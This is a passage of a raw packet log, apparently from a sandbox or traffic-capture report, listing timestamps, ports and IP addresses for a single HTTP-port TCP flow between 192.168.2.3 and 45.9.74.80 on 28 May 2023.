May 28, 2023 10:42:56.166775942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166820049 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166865110 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166909933 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.166929960 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166929960 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.166956902 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167001009 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167046070 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167089939 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167136908 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167180061 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167180061 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167181969 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167180061 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167227983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167273998 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167318106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167362928 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167406082 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167406082 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167412043 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167457104 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167503119 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167546988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167593002 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167639017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167682886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167682886 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167682886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167682886 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167727947 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167773962 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167818069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167865038 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167908907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.167908907 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167908907 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167910099 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.167953014 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.168000937 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.168044090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.168088913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.168133974 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.168179989 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.168224096 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.168224096 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.168224096 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.169353962 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.193342924 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193423033 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193470955 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193521023 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193567991 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193588972 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.193615913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193664074 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193710089 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193758011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193763018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.193763018 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.193805933 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193852901 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193897963 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193943977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.193989038 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194015026 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194015026 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194036961 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194083929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194087982 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194087982 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194132090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194181919 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194230080 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194274902 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194276094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194274902 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194324017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194370031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194418907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194467068 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194514036 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194559097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194559097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194561005 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194559097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194607019 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194654942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194701910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194746017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194792986 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194842100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194885969 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194885969 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194885969 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.194890022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194937944 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.194983006 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195031881 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195079088 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195102930 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195102930 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195125103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195158005 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195171118 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195218086 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195265055 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195278883 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195312977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195358992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195404053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195404053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195408106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195497036 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195544004 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195591927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195636988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195683956 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195733070 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195776939 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195776939 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195779085 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195776939 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.195826054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195873022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195918083 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.195964098 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196008921 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196052074 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196052074 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196052074 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196055889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196103096 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196146965 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196194887 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196242094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196299076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196299076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196319103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196365118 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196414948 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196460962 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196506977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196552038 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196552038 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196552992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196552038 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196602106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196647882 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196693897 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196738958 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196782112 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196782112 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196782112 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196784973 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196830988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196877956 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196927071 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.196939945 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.196973085 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197020054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197066069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197112083 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197158098 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197158098 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197158098 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197158098 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197204113 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197249889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197299957 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197345018 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197395086 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197441101 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197484970 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197506905 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197506905 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197506905 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197508097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197531939 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197577953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197624922 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197673082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197719097 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197763920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197767973 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197767973 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197813034 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197859049 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197905064 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197905064 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.197906017 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197952032 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.197999001 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198045969 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198050976 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198091030 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198137999 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198183060 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198193073 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198227882 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198276043 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198321104 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198367119 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198414087 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198415041 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198415041 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198417902 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198462963 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198509932 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198555946 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198601961 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198601961 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198601961 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198648930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.198657036 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.198697090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.201631069 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.223875999 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.223943949 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.223990917 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224036932 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224083900 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224133968 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224134922 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224134922 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224179983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224183083 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224227905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224301100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224349976 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224375963 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224376917 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224397898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224447012 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224494934 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224522114 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224544048 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224610090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224620104 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224657059 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224704027 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224750996 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224754095 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224795103 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224797010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224843979 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224891901 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224903107 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.224937916 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.224983931 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225028038 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225037098 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225071907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225116968 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225161076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225162983 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225208044 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225254059 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225254059 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225255966 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225302935 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225347042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225394964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225440025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225464106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225465059 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225486994 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225532055 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225553989 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225579023 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225627899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225641012 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225675106 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225697994 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225719929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225764990 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225811958 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225836039 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225862026 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225907087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.225918055 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.225954056 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226000071 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226032019 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226033926 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226082087 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226126909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226172924 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226216078 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226217031 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226218939 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226264000 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226309061 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226353884 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226402044 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226449013 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226492882 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226492882 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226492882 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226492882 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226541042 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226586103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226632118 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226676941 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226723909 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226723909 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226726055 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226723909 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226772070 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226820946 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226867914 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226912022 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226912022 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.226914883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.226962090 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227006912 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227054119 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227098942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227144003 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227190018 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227233887 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227235079 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227233887 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227233887 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227281094 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227327108 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227371931 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227421045 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227466106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227467060 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227466106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227466106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227513075 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227560043 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227606058 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227652073 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227698088 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227742910 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227787971 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227788925 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227790117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227788925 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227838039 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227838039 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.227884054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227931976 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.227977037 CEST	80	49727	45.9.74.80	192.168.2.3
